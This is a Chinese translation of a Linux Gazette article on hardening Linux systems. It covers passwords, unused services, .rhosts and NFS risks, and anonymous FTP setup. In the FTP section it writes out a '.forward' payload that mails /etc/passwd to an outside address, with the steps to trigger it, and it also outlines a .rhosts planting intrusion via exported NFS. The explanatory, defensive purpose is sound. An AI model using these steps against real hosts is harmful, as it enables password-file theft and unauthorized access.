当前位置:Linux教程 - Linux - 加强你的Linux系统安全

加强你的Linux系统安全



        

    Peter Vertes

        随着Linux的广泛应用,人们必须考虑主机的安全性问题.运行Linux的主机很容易联网,这同时也带来了一种潜在的危险---非法用户的入侵.当你的Linux只是简单的安装时, (这种入侵的危险)尤其可能发生.我将给出一个简要介绍---如何保证Linux主机的安全,如何在网络环境中保卫你的数据,让使用Linux的用户更放心.

      “百密必有一疏(You are only as strong as the weakest link in your defense)”,计算机系统的安全性正如这句(中国)谚语所述.如果你忘记了为你下载的lpd打补钉,所有防卫系统将会崩溃,即使是最安全的系统.在安装任何新的软件时,一定要小心谨慎.如果你是在家中的台式机上使用Linux,而且只是通过Modem拨号上网,你不必担心太多.但是,如果你是通过专线联网,运行重要事物的主机,我强烈地建议你检查所有你计划安装软件的安全问题历史清单. (想一想那个著名的Sendmail)

      几个邮件列表和众多网上主页提供了大量的关于Linux系统安全问题的帮助.信息在那儿,你只需去取(它们) .如果你没有时间,缺少耐心,或是不知道怎样做,找一个安全问题顾问, (让他)检查系统的安装,看一看有没有潜在的不安全的地方.通常安全顾问公司有他们自己的Tiger Teams ,一个收费的小组,他们将试图攻破你的防火墙.他们的目标是在一定的时间限定下,侵入你的系统,一些公司在攻击不成功时甚至向客户退款.对于还未察觉安全问题的公司来说, Tiger Teams是一项有价值的投资.因为Tiger Teams的花费不多,我建议你可以尝试一下.这种经验能节省你的资金,让你在实践中对Linux的结构和不同的系统抽象层次有更好的理解.

      对于系统安全问题的浏览中,密码是一个较好的起点.许多人在计算机存放了重要的资料,唯一可以防止偷窥的是八个字符组成的串,它被称为密码.没有什么东西是完全可靠的,同大多数人的想法相反,一个不可破解的密码是不存在的.只要有足够的时间和资源,所有密码都可以被猜出,或者强行计算得出.

      由于密码破解是一件与时间和资源成正比的工作,所以让你的密码难以破解是可以让那些已经取得你的密码文件的人失望的好办法.每周运行一次密码破解程序(检查你的密码文件)是一个好主意,(它)可以帮助你发现和替换比较容易猜出或者容易计算的密码.同时,也要有一种机制可以在你输入新密码或者替换旧密码时,拒绝那些容易破解的密码.那些由字典中的常用字组成的字符串,统一大小写的串,没有包含数字或特殊字符的串不应该被用作密码.

      一个安全密码的构成方式是,取你喜爱的格言,或者短句,或者书摘的每个词的第一个字母,然后加入特殊字符组成.例如,假设我喜爱的格言是“the quick brown fox jumped over the lazy dog”,取每一个词的第一个字母组成tqbfjotld.然后我加入特殊字符和年份的最后一位组成9tqbf!jotld8.这个密码比起你的配偶或者孩子的姓名安全多了.

      网上有许多供密码破解者使用的词典,它们包括了成百(如果不是上千)的常用词.一些词典只包括姓名,所以破解密码“maggie”是一件区区小事,相比较而言, 9tqbf!jotld8出现在那些词典中的概率极其微小.但是,即使我们建议的密码不大会出现在(那些)词典中,具有"渐进破解模式"的高级破解程序将会尝试每一种可能性.(此类破解程序的)使用者设定密码中包含的最小和最大字符数目,大写或者小写,包括的特殊字符和数字,然后密码破解程序便开始搜索.的确,这样需要花费大量时间和资源,但这是可能做到的.

      下一步,检查你的系统中提供的服务.许多Linux的发行包中将HTTP, FTP, SMB, Sendmail和其他一些服务作为缺省服务.并不是每一个人都需要一个web server,所以为什么不去掉它---它消耗了系统资源,同时又是一个潜在的安全漏洞.要想中止web服务,键入: kill -9

      要想发现某一个精灵进程或者服务进程,键入: ps aux | grep

      另外,在你的启动脚本中注释掉这些精灵程序,这样在系统启动后,它们不会重新启动. (启动)不使用的服务可能让其他人获得你的系统信息, (利用这些资料)可能造成安全漏洞. 另一样需要避免使用的是".rhosts"文件,这是入侵者的最爱. ".rhosts"文件包含你有帐号的系统名称.当你使用TELNET登录其他系统时,它检查它的".rhosts"文件中是否包含你的主机名,如果存在,它将让你进入系统,而不再检查你的密码.

      如想了解关于".rhosts"文件进一步的信息,可以查看Linux系统管理手册.一个著名的使用".rhosts"文件侵入的案例是Network File System (NFS)被错误的配置

      .入侵者首先检查你的系统是否有对外开放的, (全部用户)可写的文件系统(例如, 键入: showmount -e).然后他远程安装到你(开放)的文件系统,将一个".rhosts"文件放置到一个用户的主目录下.接着,他使用TELNET登录到你的系统,使用这个用户的ID,你的系统将被蒙骗.这个故事告诉我们:让比自己更精通nfsd的人来配置它,或者仔细地阅读相关文档.

      另外一个因为配置错误而被利用的系统服务是: anonymous FTP .首先,很明显地,通过anonymous FTP而获得未授权信息的表现是让公众能取得你的(用户)密码文件.所有的用户密码是使用加密方式存放的,但是请记住我们已经演示了如何破解它.还有一种办法获得密码文件,如果你的系统中/ftp目录可写的话.只需要如下简单的几个步骤: 产生一个伪造的".forward"文件,其中含有如下命令:

      |/bin/mail [email protected] < /etc/passwd连接到受害者的主机,使用FTP服务,用ftp用户登录. 输入任意一个密码. 将步骤1中产生的".forward"文件上载. 退出,然后发送一封邮件到[email protected](译者注:意为受害主机域名). 坐等受害主机将它的密码文件通过e-mail发回你的信箱.

      很清楚,一个取得密码文件的简单方法.这种入侵方法只是由于系统管理员的一个简单错误.所以,永远不让目录/ftp对用户anonymous有可写的权限.建立一个anonymous FTP server是一种艺术,记住如下的这些简单规则将有所帮助:只允许/incoming目录可写,而且只允许用户root和ftp有写的权限. Anonymous FTP用户对/pub和/incoming目录只有执行和读的权限. FTP用户不能具有/ftp目录写的权限.如果你设置了写的权限,那么上述的入侵行为就有可能发生.如果想获得更多的关于正确建立anonymous FTP服务的信息,请参阅ftpaccess的帮助页(man page). (或到http://www.cert.org/搜索相关信息)。

    最后需要牢记的是系统流水日志永远是你的朋友.日志是唯一能说明现在/过去/将来发生在你的系统内的事情的东西.同样,确保他们没有被入侵者或无经验的系统管理员篡改.

    随着Linux在越来越多的合作环境中使用,保持用户数据彼此隔离和修补每一个可能为黑客使用的漏洞是关键的一步.由于工业间谍呈现增长的趋势,因此简单的预防措施和适当的用户教育将更好地保守你自己的秘密.

    (资料来源:LINUX公报中文版 翻译:zou hongbo)

    发布人:netbull 来自:网易Linux自由文档